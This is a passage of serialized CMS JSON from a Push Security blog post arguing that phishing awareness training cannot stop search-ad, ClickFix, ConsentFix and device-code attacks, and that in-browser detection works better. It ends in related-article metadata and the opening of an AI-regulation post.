Health",{"data":8393,"marks":8394,"value":8395,"nodeType":864},{},[],", published at IEEE S&P 2025, found that annual training combined with post-click exercises reduced click likelihood by just 2% — and that employees who completed static training actually had worse phishing failure rates. ",{"data":8397,"content":8398,"nodeType":860},{},[8399,8403,8411,8415,8423,8427,8435],{"data":8400,"marks":8401,"value":8402,"nodeType":864},{},[],"Training vendors ",{"data":8404,"content":8406,"nodeType":883},{"uri":8405},"https://hoxhunt.com/blog/the-wall-street-journal-got-it-wrong-phishing-simulations-work-when-done-right",[8407],{"data":8408,"marks":8409,"value":8410,"nodeType":864},{},[],"have argued",{"data":8412,"marks":8413,"value":8414,"nodeType":864},{},[]," that continuous, adaptive, gamified programs produce materially better results, and  a ",{"data":8416,"content":8418,"nodeType":883},{"uri":8417},"https://www.sciencedirect.com/science/article/abs/pii/S0167404823002742",[8419],{"data":8420,"marks":8421,"value":8422,"nodeType":864},{},[],"2024 meta-analysis",{"data":8424,"marks":8425,"value":8426,"nodeType":864},{},[]," supports the claim that active engagement and repeated practice improve outcomes where annual programs don't. The ",{"data":8428,"content":8430,"nodeType":883},{"uri":8429},"https://www.verizon.com/business/resources/reports/dbir/",[8431],{"data":8432,"marks":8433,"value":8434,"nodeType":864},{},[],"Verizon DBIR 2025",{"data":8436,"marks":8437,"value":8438,"nodeType":864},{},[]," found that employees trained within the last 30 days were 4x more likely to report phishing than those trained earlier.",{"data":8440,"content":8441,"nodeType":860},{},[8442,8446,8453],{"data":8443,"marks":8444,"value":8445,"nodeType":864},{},[],"But here's the problem that even the best training program can't solve: Every one of these studies — and virtually every phishing simulation platform on the market — tests email-based phishing. The attacks driving the biggest breaches in 2026 don't arrive by email. They arrive through ",{"data":8447,"content":8448,"nodeType":883},{"uri":6912},[8449],{"data":8450,"marks":8451,"value":8452,"nodeType":864},{},[],"search engine ads",{"data":8454,"marks":8455,"value":8456,"nodeType":864},{},[],", social media DMs, shared AI chatbot pages on trusted domains, and legitimate OAuth consent flows. Continuous adaptive training may reduce email phishing click rates from 7% to 1.5%, but it has nothing to say about an employee who googles \"ChatGPT\" and lands on a malware delivery page hosted on chatgpt.com.",{"data":8458,"content":8459,"nodeType":860},{},[8460,8464,8472,8476,8484,8488],{"data":8461,"marks":8462,"value":8463,"nodeType":864},{},[],"The deeper issue is structural. Behavioral science calls it the ",{"data":8465,"content":8467,"nodeType":883},{"uri":8466},"https://en.wikipedia.org/wiki/Information_deficit_model",[8468],{"data":8469,"marks":8470,"value":8471,"nodeType":864},{},[],"information deficit model",{"data":8473,"marks":8474,"value":8475,"nodeType":864},{},[],": the assumption that people make risky decisions because they lack information, and that providing more information will fix the problem. This model has been ",{"data":8477,"content":8479,"nodeType":883},{"uri":8478},"https://pmc.ncbi.nlm.nih.gov/articles/PMC8201414/",[8480],{"data":8481,"marks":8482,"value":8483,"nodeType":864},{},[],"debunked across multiple domains",{"data":8485,"marks":8486,"value":8487,"nodeType":864},{},[],", from public health to environmental protection. ",{"data":8489,"marks":8490,"value":8492,"nodeType":864},{},[8491],{"type":899},"People routinely engage in behaviors they know are risky — not because they lack knowledge, but because immediate pressures outweigh abstract training from months ago.",{"data":8494,"content":8495,"nodeType":860},{},[8496,8500,8505],{"data":8497,"marks":8498,"value":8499,"nodeType":864},{},[],"Training can build security culture, help employees understand why controls exist, and create champions who influence peers - and these are important outcomes. What training ",{"data":8501,"marks":8502,"value":8504,"nodeType":864},{},[8503],{"type":2246},"cannot",{"data":8506,"marks":8507,"value":8508,"nodeType":864},{},[]," reliably do is serve as a preventive control for split-second decisions made under cognitive load, time pressure, and competing priorities. To make matters worse, most organizations don't even attempt to measure whether it does. ",{"data":8510,"content":8511,"nodeType":1005},{},[],{"data":8513,"content":8514,"nodeType":1009},{},[8515],{"data":8516,"marks":8517,"value":8519,"nodeType":864},{},[8518],{"type":899},"The attacks training can't address",{"data":8521,"content":8522,"nodeType":860},{},[8523],{"data":8524,"marks":8525,"value":8526,"nodeType":864},{},[],"Even if the training debate were settled — even if continuous adaptive programs reliably reduced email phishing click rates to near zero — the attacks driving the biggest breaches in 2026 don't look like anything a simulation platform tests for.",{"data":8528,"content":8529,"nodeType":860},{},[8530,8534,8540],{"data":8531,"marks":8532,"value":8533,"nodeType":864},{},[],"The LLMShare campaign described above used a genuine chatgpt.com domain to serve a fake page that looked like a routine system notice — no suspicious URL, no grammatical errors, and no visual tells. ClickFix attacks present as routine CAPTCHAs. ConsentFix operates entirely on legitimate Microsoft infrastructure. Device code phishing asks users to enter a code on a real app page. None of these attacks trigger the signals users were trained to look for, and ",{"data":8535,"marks":8536,"value":8539,"nodeType":864},{},[8537,8538],{"type":1455},{"type":899},"4 in 5 ClickFix payloads arrive via search engines",{"data":8541,"marks":8542,"value":8543,"nodeType":864},{},[],", not email.",{"data":8545,"content":8546,"nodeType":860},{},[8547],{"data":8548,"marks":8549,"value":8550,"nodeType":864},{},[],"There are countless scenarios where users performing seemingly benign actions on plausible (or even legitimate) sites can result in a compromise. ",{"data":8552,"content":8556,"nodeType":996},{"target":8553},{"sys":8554},{"id":8555,"type":1001,"linkType":1002},"29vUtbEUam8fhbwnQdINRJ",[],{"data":8558,"content":8559,"nodeType":860},{},[8560],{"data":8561,"marks":8562,"value":8563,"nodeType":864},{},[],"The lesson isn't that employees are incompetent. It's that the attack surface is too broad, the delivery channels are too varied, and the social engineering too convincing for training to function as a primary control — regardless of how it's designed. ",{"data":8565,"content":8569,"nodeType":996},{"target":8566},{"sys":8567},{"id":8568,"type":1001,"linkType":1002},"7zH48txL9ToiUlgLBHrkng",[],{"data":8571,"content":8572,"nodeType":1005},{},[],{"data":8574,"content":8575,"nodeType":1009},{},[8576],{"data":8577,"marks":8578,"value":8580,"nodeType":864},{},[8579],{"type":899},"Real-time intervention where attacks execute",{"data":8582,"content":8583,"nodeType":860},{},[8584,8588,8593,8601],{"data":8585,"marks":8586,"value":8587,"nodeType":864},{},[],"The browser is where every phishing attack, credential-harvesting attempt, and social engineering campaign ultimately executes — and where ",{"data":8589,"marks":8590,"value":8592,"nodeType":864},{},[8591],{"type":899},"89% of phishing domains are active for fewer than two days, ",{"data":8594,"content":8596,"nodeType":883},{"uri":8595},"https://pushsecurity.com/blog/the-case-for-best-of-breed-browser-security/",[8597],{"data":8598,"marks":8599,"value":8600,"nodeType":864},{},[],"95% of attacks use bot protection to defeat automated scanners",{"data":8602,"marks":8603,"value":8604,"nodeType":864},{},[],", and traditional security architectures have a structural blind spot. ",{"data":8606,"content":8607,"nodeType":860},{},[8608],{"data":8609,"marks":8610,"value":8611,"nodeType":864},{},[],"Network tools see encrypted traffic. Endpoint agents see processes and files. Email security sees messages in transit. None of them can intervene when a user is about to enter credentials into a fake login page.",{"data":8613,"content":8614,"nodeType":860},{},[8615,8619,8627],{"data":8616,"marks":8617,"value":8618,"nodeType":864},{},[],"Browser-based detection and response addresses both the prevention gap and the training gap simultaneously. As a technical control, Push ",{"data":8620,"content":8622,"nodeType":883},{"uri":8621},"https://pushsecurity.com/blog/guide-how-to-use-push-controls-to-protect-your-users-from-modern-attacks/",[8623],{"data":8624,"marks":8625,"value":8626,"nodeType":864},{},[],"detects and blocks phishing pages behaviorally",{"data":8628,"marks":8629,"value":8630,"nodeType":864},{},[]," — including AiTM kits, cloned login forms, device code phishing pages, and ClickFix malicious-copy-and-paste events — in real time, regardless of whether the domain is brand-new or the phishing page was delivered via email, social media, or a search ad. ",{"data":8632,"content":8633,"nodeType":860},{},[8634],{"data":8635,"marks":8636,"value":8637,"nodeType":864},{},[],"Push stops the attack as it happens, in real time, before a compromise occurs.",{"data":8639,"content":8640,"nodeType":860},{},[8641],{"data":8642,"marks":8643,"value":8644,"nodeType":864},{},[],"As a contextual education mechanism, Push provides immediate, in-browser feedback when a user encounters a threat — explaining why access was blocked and creating teachable moments at the point of need rather than months before. Every blocked threat becomes a micro-learning opportunity, reinforcing pattern recognition through repetition in the context of the user's actual work. ",{"data":8646,"content":8647,"nodeType":860},{},[8648,8652,8659,8663,8670],{"data":8649,"marks":8650,"value":8651,"nodeType":864},{},[],"Push's ",{"data":8653,"content":8654,"nodeType":883},{"uri":8621},[8655],{"data":8656,"marks":8657,"value":8658,"nodeType":864},{},[],"in-browser controls",{"data":8660,"marks":8661,"value":8662,"nodeType":864},{},[]," are designed to work this way — not by removing users from the security equation, but by making them informed participants. Warn screens with \"proceed anyway\" options, SSO login guidance, and MFA enforcement prompts respect user agency while providing real-time risk context. Our ",{"data":8664,"content":8665,"nodeType":883},{"uri":8621},[8666],{"data":8667,"marks":8668,"value":8669,"nodeType":864},{},[],"controls guide",{"data":8671,"marks":8672,"value":8673,"nodeType":864},{},[]," covers how security teams can configure these guardrails to match their organizational culture and risk tolerance.",{"data":8675,"content":8676,"nodeType":1312},{},[8677],{"data":8678,"marks":8679,"value":8681,"nodeType":864},{},[8680],{"type":899},"Right-sizing security training",{"data":8683,"content":8684,"nodeType":860},{},[8685],{"data":8686,"marks":8687,"value":8688,"nodeType":864},{},[],"Training's role must be right-sized. It builds culture, shared vocabulary, and explains why controls exist — but it cannot reliably serve as the primary preventive control against sophisticated attacks encountered months later under pressure. ",{"data":8690,"content":8691,"nodeType":860},{},[8692],{"data":8693,"marks":8694,"value":8695,"nodeType":864},{},[],"The Purdue study's authors recommend that \"organizations should set realistic expectations about training outcomes and highlight the importance of technical controls rather than human-centered defenses.\" We agree.",{"data":8697,"content":8698,"nodeType":860},{},[8699],{"data":8700,"marks":8701,"value":8702,"nodeType":864},{},[],"Invest in technical controls where attacks execute — in the browser — to provide real-time prevention, detection, and education. Measure what matters: reduction in successful compromise, detection and response time, and employee reporting rates — not training completion. And stop expecting employees to reliably detect pixel-perfect attacks across every channel and workflow. ",{"data":8704,"content":8705,"nodeType":860},{},[8706],{"data":8707,"marks":8708,"value":8710,"nodeType":864},{},[8709],{"type":899},"Overrelying on user vigilance isn't a legitimate security strategy: it's blame allocation.",{"data":8712,"content":8713,"nodeType":1005},{},[],{"data":8715,"content":8716,"nodeType":860},{},[8717],{"data":8718,"marks":8719,"value":1682,"nodeType":864},{},[],{"data":8721,"content":8722,"nodeType":860},{},[8723],{"data":8724,"marks":8725,"value":1689,"nodeType":864},{},[],{"data":8727,"content":8728,"nodeType":860},{},[8729,8732,8739],{"data":8730,"marks":8731,"value":21,"nodeType":864},{},[],{"data":8733,"content":8734,"nodeType":883},{"uri":1700},[8735],{"data":8736,"marks":8737,"value":1703,"nodeType":864},{},[8738],{"type":1455},{"data":8740,"marks":8741,"value":21,"nodeType":864},{},[],{"entries":8743},{"hyperlink":8744,"inline":8745,"block":8746},[],[],[8747,8755,8760,8768],{"sys":8748,"__typename":1724,"title":8749,"caption":8750,"layoutMode":59,"file":8751},{"id":6883},"LLMShare malvertising","The LLMShare ad uses the legitimate ChatGPT domain and is the top result.",{"url":8752,"width":8753,"height":8754},"https://images.ctfassets.net/y1cdw1ablpvd/1aLEhiVJcLPIR4rXdzoCTv/d87eb30284e61ab813ccf9e662a1fbae/image.png",1910,1005,{"sys":8756,"__typename":1724,"title":8757,"caption":8757,"layoutMode":59,"file":8758},{"id":8287},"The clever use of sharing functionality and pixel-perfect download page clone would fool most users (and most technical controls too) — but not Push. ",{"url":8759,"width":1736,"height":5709},"https://images.ctfassets.net/y1cdw1ablpvd/7u7yyvyg3P9jepZi7iIwxf/d2c42d257d2e7ac4dfe28c37aa69a4b3/image4.png",{"sys":8761,"__typename":1724,"title":8762,"caption":8763,"layoutMode":59,"file":8764},{"id":8555},"Don't make employees the weak link image - blog - custom branding","It's harder than ever for users to identify malicious content on the web, with attackers abusing an ever-increasing list of actions that feel pretty normal to users, with a wide range of malicious payloads.",{"url":8765,"width":8766,"height":8767},"https://images.ctfassets.net/y1cdw1ablpvd/2aSm6QBWDOU6JBtOLfyp6R/d63cacab198ef9b325cbcfdbe0373b5a/Browser_Attacks_Targeting_Users__1_.png",4046,2160,{"sys":8769,"__typename":1717,"type":1718,"ctaText":8770,"buttonLabel":8771,"buttonColour":1721,"buttonUrl":6543},{"id":8568},"For a detailed breakdown of the techniques driving the biggest breaches of the past year, see our 2026 Browser Attack Techniques report.","Download now (no gates!)",{"items":8773},[],{},"Why your training budget belongs in browser security","thought-leadership",{"items":8778},[8779,9532,10571],{"__typename":2059,"sys":8780,"content":8781,"title":3608,"synopsis":3609,"hashTags":59,"publishedDate":3610,"slug":3611,"tagsCollection":9522,"authorsCollection":9528},{"id":2743},{"json":8782},{"data":8783,"content":8784,"nodeType":856},{},[8785,8791,8815,8830,8835,8841,8854,8857,8864,8879,8934,8940,8945,8951,9024,9030,9036,9049,9052,9059,9065,9071,9078,9084,9094,9099,9105,9111,9117,9120,9127,9140,9153,9159,9165,9171,9188,9260,9266,9272,9275,9282,9295,9301,9307,9314,9317,9324,9339,9345,9351,9381,9387,9393,9396,9403,9409,9419,9424,9434,9444,9449,9459,9478,9484,9487,9494,9500,9506],{"data":8786,"content":8787,"nodeType":860},{},[8788],{"data":8789,"marks":8790,"value":2754,"nodeType":864},{},[],{"data":8792,"content":8793,"nodeType":860},{},[8794,8797,8803,8806,8812],{"data":8795,"marks":8796,"value":2761,"nodeType":864},{},[],{"data":8798,"content":8799,"nodeType":883},{"uri":2764},[8800],{"data":8801,"marks":8802,"value":2769,"nodeType":864},{},[],{"data":8804,"marks":8805,"value":2773,"nodeType":864},{},[],{"data":8807,"content":8808,"nodeType":883},{"uri":2776},[8809],{"data":8810,"marks":8811,"value":2781,"nodeType":864},{},[],{"data":8813,"marks":8814,"value":2785,"nodeType":864},{},[],{"data":8816,"content":8817,"nodeType":860},{},[8818,8821,8827],{"data":8819,"marks":8820,"value":2792,"nodeType":864},{},[],{"data":8822,"content":8823,"nodeType":883},{"uri":2776},[8824],{"data":8825,"marks":8826,"value":2799,"nodeType":864},{},[],{"data":8828,"marks":8829,"value":2803,"nodeType":864},{},[],{"data":8831,"content":8834,"nodeType":996},{"target":8832},{"sys":8833},{"id":1040,"type":1001,"linkType":1002},[],{"data":8836,"content":8837,"nodeType":860},{},[8838],{"data":8839,"marks":8840,"value":2815,"nodeType":864},{},[],{"data":8842,"content":8843,"nodeType":860},{},[8844,8847,8851],{"data":8845,"marks":8846,"value":2822,"nodeType":864},{},[],{"data":8848,"marks":8849,"value":2827,"nodeType":864},{},[8850],{"type":2246},{"data":8852,"marks":8853,"value":2831,"nodeType":864},{},[],{"data":8855,"content":8856,"nodeType":1005},{},[],{"data":8858,"content":8859,"nodeType":1009},{},[8860],{"data":8861,"marks":8862,"value":2842,"nodeType":864},{},[8863],{"type":899},{"data":8865,"content":8866,"nodeType":860},{},[8867,8870,8876],{"data":8868,"marks":8869,"value":2849,"nodeType":864},{},[],{"data":8871,"content":8872,"nodeType":883},{"uri":2852},[8873],{"data":8874,"marks":8875,"value":1108,"nodeType":864},{},[],{"data":8877,"marks":8878,"value":2860,"nodeType":864},{},[],{"data":8880,"content":8881,"nodeType":941},{},[8882,8896,8910],{"data":8883,"content":8884,"nodeType":945},{},[8885],{"data":8886,"content":8887,"nodeType":860},{},[8888,8893],{"data":8889,"marks":8890,"value":2875,"nodeType":864},{},[8891,8892],{"type":899},{"type":1455},{"data":8894,"marks":8895,"value":2879,"nodeType":864},{},[],{"data":8897,"content":8898,"nodeType":945},{},[8899],{"data":8900,"content":8901,"nodeType":860},{},[8902,8907],{"data":8903,"marks":8904,"value":2891,"nodeType":864},{},[8905,8906],{"type":899},{"type":1455},{"data":8908,"marks":8909,"value":2895,"nodeType":864},{},[],{"data":8911,"content":8912,"nodeType":945},{},[8913],{"data":8914,"content":8915,"nodeType":860},{},[8916,8921,8924,8931],{"data":8917,"marks":8918,"value":2907,"nodeType":864},{},[8919,8920],{"type":899},{"type":1455},{"data":8922,"marks":8923,"value":2911,"nodeType":864},{},[],{"data":8925,"content":8926,"nodeType":883},{"uri":2914},[8927],{"data":8928,"marks":8929,"value":2920,"nodeType":864},{},[8930],{"type":1455},{"data":8932,"marks":8933,"value":2924,"nodeType":864},{},[],{"data":8935,"content":8936,"nodeType":860},{},[8937],{"data":8938,"marks":8939,"value":2931,"nodeType":864},{},[],{"data":8941,"content":8944,"nodeType":996},{"target":8942},{"sys":8943},{"id":2936,"type":1001,"linkType":1002},[],{"data":8946,"content":8947,"nodeType":860},{},[8948],{"data":8949,"marks":8950,"value":2944,"nodeType":864},{},[],{"data":8952,"content":8953,"nodeType":941},{},[8954,8968,8982,8996,9010],{"data":8955,"content":8956,"nodeType":945},{},[8957],{"data":8958,"content":8959,"nodeType":860},{},[8960,8965],{"data":8961,"marks":8962,"value":2959,"nodeType":864},{},[8963,8964],{"type":899},{"type":1455},{"data":8966,"marks":8967,"value":2963,"nodeType":864},{},[],{"data":8969,"content":8970,"nodeType":945},{},[8971],{"data":8972,"content":8973,"nodeType":860},{},[8974,8979],{"data":8975,"marks":8976,"value":2975,"nodeType":864},{},[8977,8978],{"type":899},{"type":1455},{"data":8980,"marks":8981,"value":2979,"nodeType":864},{},[],{"data":8983,"content":8984,"nodeType":945},{},[8985],{"data":8986,"content":8987,"nodeType":860},{},[8988,8993],{"data":8989,"marks":8990,"value":2991,"nodeType":864},{},[8991,8992],{"type":899},{"type":1455},{"data":8994,"marks":8995,"value":2995,"nodeType":864},{},[],{"data":8997,"content":8998,"nodeType":945},{},[8999],{"data":9000,"content":9001,"nodeType":860},{},[9002,9007],{"data":9003,"marks":9004,"value":3007,"nodeType":864},{},[9005,9006],{"type":899},{"type":1455},{"data":9008,"marks":9009,"value":3011,"nodeType":864},{},[],{"data":9011,"content":9012,"nodeType":945},{},[9013],{"data":9014,"content":9015,"nodeType":860},{},[9016,9021],{"data":9017,"marks":9018,"value":3023,"nodeType":864},{},[9019,9020],{"type":899},{"type":1455},{"data":9022,"marks":9023,"value":3027,"nodeType":864},{},[],{"data":9025,"content":9026,"nodeType":860},{},[9027],{"data":9028,"marks":9029,"value":3034,"nodeType":864},{},[],{"data":9031,"content":9032,"nodeType":860},{},[9033],{"data":9034,"marks":9035,"value":3041,"nodeType":864},{},[],{"data":9037,"content":9038,"nodeType":860},{},[9039,9042,9046],{"data":9040,"marks":9041,"value":3048,"nodeType":864},{},[],{"data":9043,"marks":9044,"value":3053,"nodeType":864},{},[9045],{"type":2246},{"data":9047,"marks":9048,"value":3057,"nodeType":864},{},[],{"data":9050,"content":9051,"nodeType":1005},{},[],{"data":9053,"content":9054,"nodeType":1009},{},[9055],{"data":9056,"marks":9057,"value":3068,"nodeType":864},{},[9058],{"type":899},{"data":9060,"content":9061,"nodeType":860},{},[9062],{"data":9063,"marks":9064,"value":3075,"nodeType":864},{},[],{"data":9066,"content":9067,"nodeType":860},{},[9068],{"data":9069,"marks":9070,"value":3082,"nodeType":864},{},[],{"data":9072,"content":9073,"nodeType":860},{},[9074],{"data":9075,"marks":9076,"value":3090,"nodeType":864},{},[9077],{"type":899},{"data":9079,"content":9080,"nodeType":860},{},[9081],{"data":9082,"marks":9083,"value":3097,"nodeType":864},{},[],{"data":9085,"content":9086,"nodeType":860},{},[9087,9091],{"data":9088,"marks":9089,"value":3105,"nodeType":864},{},[9090],{"type":2246},{"data":9092,"marks":9093,"value":3109,"nodeType":864},{},[],{"data":9095,"content":9098,"nodeType":996},{"target":9096},{"sys":9097},{"id":3114,"type":1001,"linkType":1002},[],{"data":9100,"content":9101,"nodeType":860},{},[9102],{"data":9103,"marks":9104,"value":3122,"nodeType":864},{},[],{"data":9106,"content":9107,"nodeType":860},{},[9108],{"data":9109,"marks":9110,"value":3129,"nodeType":864},{},[],{"data":9112,"content":9113,"nodeType":860},{},[9114],{"data":9115,"marks":9116,"value":3136,"nodeType":864},{},[],{"data":9118,"content":9119,"nodeType":1005},{},[],{"data":9121,"content":9122,"nodeType":1009},{},[9123],{"data":9124,"marks":9125,"value":3147,"nodeType":864},{},[9126],{"type":899},{"data":9128,"content":9129,"nodeType":860},{},[9130,9133,9137],{"data":9131,"marks":9132,"value":3154,"nodeType":864},{},[],{"data":9134,"marks":9135,"value":3159,"nodeType":864},{},[9136],{"type":899},{"data":9138,"marks":9139,"value":3163,"nodeType":864},{},[],{"data":9141,"content":9142,"nodeType":860},{},[9143,9146,9150],{"data":9144,"marks":9145,"value":3170,"nodeType":864},{},[],{"data":9147,"marks":9148,"value":3175,"nodeType":864},{},[9149],{"type":899},{"data":9151,"marks":9152,"value":3179,"nodeType":864},{},[],{"data":9154,"content":9155,"nodeType":860},{},[9156],{"data":9157,"marks":9158,"value":3186,"nodeType":864},{},[],{"data":9160,"content":9161,"nodeType":860},{},[9162],{"data":9163,"marks":9164,"value":3193,"nodeType":864},{},[],{"data":9166,"content":9167,"nodeType":860},{},[9168],{"data":9169,"marks":9170,"value":3200,"nodeType":864},{},[],{"data":9172,"content":9173,"nodeType":860},{},[9174,9177,9185],{"data":9175,"marks":9176,"value":3207,"nodeType":864},{},[],{"data":9178,"content":9179,"nodeType":883},{"uri":3210},[9180],{"data":9181,"marks":9182,"value":3217,"nodeType":864},{},[9183,9184],{"type":1455},{"type":899},{"data":9186,"marks":9187,"value":3221,"nodeType":864},{},[],{"data":9189,"content":9190,"nodeType":941},{},[9191,9209,9227],{"data":9192,"content":9193,"nodeType":945},{},[9194],{"data":9195,"content":9196,"nodeType":860},{},[9197,9200,9206],{"data":9198,"marks":9199,"value":3234,"nodeType":864},{},[],{"data":9201,"content":9202,"nodeType":883},{"uri":3237},[9203],{"data":9204,"marks":9205,"value":3242,"nodeType":864},{},[],{"data":9207,"marks":9208,"value":3246,"nodeType":864},{},[],{"data":9210,"content":9211,"nodeType":945},{},[9212],{"data":9213,"content":9214,"nodeType":860},{},[9215,9218,9224],{"data":9216,"marks":9217,"value":3256,"nodeType":864},{},[],{"data":9219,"content":9220,"nodeType":883},{"uri":3259},[9221],{"data":9222,"marks":9223,"value":3264,"nodeType":864},{},[],{"data":9225,"marks":9226,"value":3268,"nodeType":864},{},[],{"data":9228,"content":9229,"nodeType":945},{},[9230],{"data":9231,"content":9232,"nodeType":860},{},[9233,9236,9243,9246,9250,9253,9257],{"data":9234,"marks":9235,"value":21,"nodeType":864},{},[],{"data":9237,"content":9238,"nodeType":883},{"uri":3280},[9239],{"data":9240,"marks":9241,"value":3286,"nodeType":864},{},[9242],{"type":1455},{"data":9244,"marks":9245,"value":3290,"nodeType":864},{},[],{"data":9247,"marks":9248,"value":3295,"nodeType":864},{},[9249],{"type":899},{"data":9251,"marks":9252,"value":3299,"nodeType":864},{},[],{"data":9254,"marks":9255,"value":3304,"nodeType":864},{},[9256],{"type":899},{"data":9258,"marks":9259,"value":2924,"nodeType":864},{},[],{"data":9261,"content":9262,"nodeType":860},{},[9263],{"data":9264,"marks":9265,"value":3314,"nodeType":864},{},[],{"data":9267,"content":9268,"nodeType":860},{},[9269],{"data":9270,"marks":9271,"value":3321,"nodeType":864},{},[],{"data":9273,"content":9274,"nodeType":1005},{},[],{"data":9276,"content":9277,"nodeType":1312},{},[9278],{"data":9279,"marks":9280,"value":3332,"nodeType":864},{},[9281],{"type":899},{"data":9283,"content":9284,"nodeType":860},{},[9285,9288,9292],{"data":9286,"marks":9287,"value":3339,"nodeType":864},{},[],{"data":9289,"marks":9290,"value":3344,"nodeType":864},{},[9291],{"type":2246},{"data":9293,"marks":9294,"value":3348,"nodeType":864},{},[],{"data":9296,"content":9297,"nodeType":860},{},[9298],{"data":9299,"marks":9300,"value":3355,"nodeType":864},{},[],{"data":9302,"content":9303,"nodeType":860},{},[9304],{"data":9305,"marks":9306,"value":3362,"nodeType":864},{},[],{"data":9308,"content":9309,"nodeType":860},{},[9310],{"data":9311,"marks":9312,"value":3370,"nodeType":864},{},[9313],{"type":899},{"data":9315,"content":9316,"nodeType":1005},{},[],{"data":9318,"content":9319,"nodeType":1009},{},[9320],{"data":9321,"marks":9322,"value":3381,"nodeType":864},{},[9323],{"type":899},{"data":9325,"content":9326,"nodeType":860},{},[9327,9330,9336],{"data":9328,"marks":9329,"value":3388,"nodeType":864},{},[],{"data":9331,"content":9332,"nodeType":883},{"uri":3210},[9333],{"data":9334,"marks":9335,"value":3395,"nodeType":864},{},[],{"data":9337,"marks":9338,"value":3399,"nodeType":864},{},[],{"data":9340,"content":9341,"nodeType":860},{},[9342],{"data":9343,"marks":9344,"value":3406,"nodeType":864},{},[],{"data":9346,"content":9347,"nodeType":860},{},[9348],{"data":9349,"marks":9350,"value":3413,"nodeType":864},{},[],{"data":9352,"content":9353,"nodeType":941},{},[9354,9363,9372],{"data":9355,"content":9356,"nodeType":945},{},[9357],{"data":9358,"content":9359,"nodeType":860},{},[9360],{"data":9361,"marks":9362,"value":3426,"nodeType":864},{},[],{"data":9364,"content":9365,"nodeType":945},{},[9366],{"data":9367,"content":9368,"nodeType":860},{},[9369],{"data":9370,"marks":9371,"value":3436,"nodeType":864},{},[],{"data":9373,"content":9374,"nodeType":945},{},[9375],{"data":9376,"content":9377,"nodeType":860},{},[9378],{"data":9379,"marks":9380,"value":3446,"nodeType":864},{},[],{"data":9382,"content":9383,"nodeType":860},{},[9384],{"data":9385,"marks":9386,"value":3453,"nodeType":864},{},[],{"data":9388,"content":9389,"nodeType":860},{},[9390],{"data":9391,"marks":9392,"value":3460,"nodeType":864},{},[],{"data":9394,"content":9395,"nodeType":1005},{},[],{"data":9397,"content":9398,"nodeType":1009},{},[9399],{"data":9400,"marks":9401,"value":3471,"nodeType":864},{},[9402],{"type":899},{"data":9404,"content":9405,"nodeType":860},{},[9406],{"data":9407,"marks":9408,"value":3478,"nodeType":864},{},[],{"data":9410,"content":9411,"nodeType":860},{},[9412,9416],{"data":9413,"marks":9414,"value":3486,"nodeType":864},{},[9415],{"type":899},{"data":9417,"marks":9418,"value":3490,"nodeType":864},{},[],{"data":9420,"content":9423,"nodeType":996},{"target":9421},{"sys":9422},{"id":3495,"type":1001,"linkType":1002},[],{"data":9425,"content":9426,"nodeType":860},{},[9427,9431],{"data":9428,"marks":9429,"value":3504,"nodeType":864},{},[9430],{"type":899},{"data":9432,"marks":9433,"value":3508,"nodeType":864},{},[],{"data":9435,"content":9436,"nodeType":860},{},[9437,9441],{"data":9438,"marks":9439,"value":3516,"nodeType":864},{},[9440],{"type":899},{"data":9442,"marks":9443,"value":3520,"nodeType":864},{},[],{"data":9445,"content":9448,"nodeType":996},{"target":9446},{"sys":9447},{"id":3525,"type":1001,"linkType":1002},[],{"data":9450,"content":9451,"nodeType":860},{},[9452,9456],{"data":9453,"marks":9454,"value":3534,"nodeType":864},{},[9455],{"type":899},{"data":9457,"marks":9458,"value":3538,"nodeType":864},{},[],{"data":9460,"content":9461,"nodeType":860},{},[9462,9466,9469,9475],{"data":9463,"marks":9464,"value":3546,"nodeType":864},{},[9465],{"type":899},{"data":9467,"marks":9468,"value":3550,"nodeType":864},{},[],{"data":9470,"content":9471,"nodeType":883},{"uri":2852},[9472],{"data":9473,"marks":9474,"value":1108,"nodeType":864},{},[],{"data":9476,"marks":9477,"value":3560,"nodeType":864},{},[],{"data":9479,"content":9480,"nodeType":860},{},[9481],{"data":9482,"marks":9483,"value":3567,"nodeType":864},{},[],{"data":9485,"content":9486,"nodeType":1005},{},[],{"data":9488,"content":9489,"nodeType":1009},{},[9490],{"data":9491,"marks":9492,"value":3578,"nodeType":864},{},[9493],{"type":899},{"data":9495,"content":9496,"nodeType":860},{},[9497],{"data":9498,"marks":9499,"value":3585,"nodeType":864},{},[],{"data":9501,"content":9502,"nodeType":860},{},[9503],{"data":9504,"marks":9505,"value":1689,"nodeType":864},{},[],{"data":9507,"content":9508,"nodeType":860},{},[9509,9512,9519],{"data":9510,"marks":9511,"value":2707,"nodeType":864},{},[],{"data":9513,"content":9514,"nodeType":883},{"uri":1700},[9515],{"data":9516,"marks":9517,"value":2715,"nodeType":864},{},[9518],{"type":1455},{"data":9520,"marks":9521,"value":2719,"nodeType":864},{},[],{"items":9523},[9524,9526],{"sys":9525,"name":297},{"id":2732},{"sys":9527,"name":2729},{"id":2728},{"items":9529},[9530],{"fullName":3621,"firstName":3622,"jobTitle":3623,"profilePicture":9531},{"url":3625},{"__typename":2059,"sys":9533,"content":9535,"title":10553,"synopsis":10554,"hashTags":59,"publishedDate":10555,"slug":10556,"tagsCollection":10557,"authorsCollection":10563},{"id":9534},"19QvRR4NcSe3PHQEhID42Q",{"json":9536},{"data":9537,"content":9538,"nodeType":856},{},[9539,9547,9554,9562,10136,10142,10149,10156,10159,10167,10174,10182,10189,10195,10200,10208,10224,10232,10239,10247,10254,10260,10268,10275,10281,10284,10292,10311,10331,10350,10357,10360,10368,10375,10386,10393,10404,10411,10417,10428,10435,10446,10453,10460,10466,10477,10484,10487,10495,10502,10509,10516,10522,10525,10531,10537],{"data":9540,"content":9541,"nodeType":1009},{},[9542],{"data":9543,"marks":9544,"value":9546,"nodeType":864},{},[9545],{"type":899},"The AI regulatory landscape is moving fast",{"data":9548,"content":9549,"nodeType":860},{},[9550],{"data":9551,"marks":9552,"value":9553,"nodeType":864},{},[],"The regulatory landscape around AI has shifted from theoretical to operational faster than most compliance teams expected. Several regulations are already in force, presenting not just a legal but also significant operational challenge to organizations covered by these regulations. ",{"data":9555,"content":9556,"nodeType":860},{},[9557],{"data":9558,"marks":9559,"value":9561,"nodeType":864},{},[9560],{"type":899},"First, here's a summary of the key frameworks and what they 